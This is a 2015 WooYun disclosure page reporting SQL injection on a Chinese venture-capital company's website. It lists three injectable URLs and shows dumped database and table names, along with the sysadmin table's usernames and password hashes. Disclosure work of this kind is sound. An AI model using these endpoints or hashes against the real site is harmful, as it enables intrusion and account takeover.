当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162462

漏洞标题：中投长春创投主站多处sql注入漏洞打包

相关厂商：中投长春创投

漏洞作者： 路人甲

提交时间：2015-12-18 17:44

修复时间：2016-01-28 17:10

公开时间：2016-01-28 17:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中投长春创投主站多处sql注入漏洞打包

详细说明：

http://www.ztccct.com/news.php?id=28&page=2
http://www.ztccct.com/content.php?id=28&aid=28
http://www.ztccct.com/page.php?id=39

available databases [2]:                                                                                               
[*] information_schema
[*] zhongtou2015

漏洞证明：

Database: zhongtou2015                                                                                                 
[15 tables]
+-----------+
| article   |
| classtype |
| dbmanage  |
| deliver   |
| links     |
| message   |
| question  |
| referral  |
| site_info |
| slide     |
| sorts     |
| sysadmin  |
| traffic   |
| vote      |
| vote_ip   |
+-----------+


Database: zhongtou2015
Table: sysadmin
[3 entries]
+----+---------+----------+------------+--------------------------------------+----------+------------+------------+
| Id | Purview | UserName | DateTime   | PassWord                             | NikeName | FatherUser | Department |
+----+---------+----------+------------+--------------------------------------+----------+------------+------------+
| 1  | 1       | admin    | NULL       | 143f14a6c3e91e106ab62aa5f2cf95b24756 | 超级管理员    | NULL       | 管理员        |
| 12 | 2       | dujiewen | 1428719073 | 5d7fab9e2027c75c1dd42be65c59831f8567 | 管理员      | admin      | 管理员        |
| 14 | 2       | admin1   | 1431047593 | bae165e04bcbfbbb9c640fda3f12ee066836 | 管理员      | admin      | 管理员        |
+----+---------+----------+------------+--------------------------------------+----------+------------+------------+

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝